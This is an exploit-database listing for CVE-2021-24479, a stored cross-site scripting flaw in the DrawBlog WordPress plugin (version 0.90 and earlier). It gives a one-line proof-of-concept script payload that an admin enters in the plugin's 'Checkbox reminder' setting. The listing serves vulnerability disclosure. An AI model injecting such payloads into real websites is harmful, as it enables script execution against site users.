Exploit for DrawBlog <= 0.90 - Authenticated Stored Cross-Site Scripting (XSS) CVE-2021-24479

Name: Exploit for DrawBlog <= 0.90 - Authenticated Stored Cross-Site Scripting (XSS) CVE-2021-24479
Rating: 5 (74 reviews)

2021-06-28 | CVSS 3.5

## https://sploitus.com/exploit?id=WPEX-ID:5FD2246A-FBD9-4F2A-8B0B-A64C3F91157C
As admin, put the following payload in the "Checkbox reminder" setting of the plugin: "><script>alert(/XSS/)</script>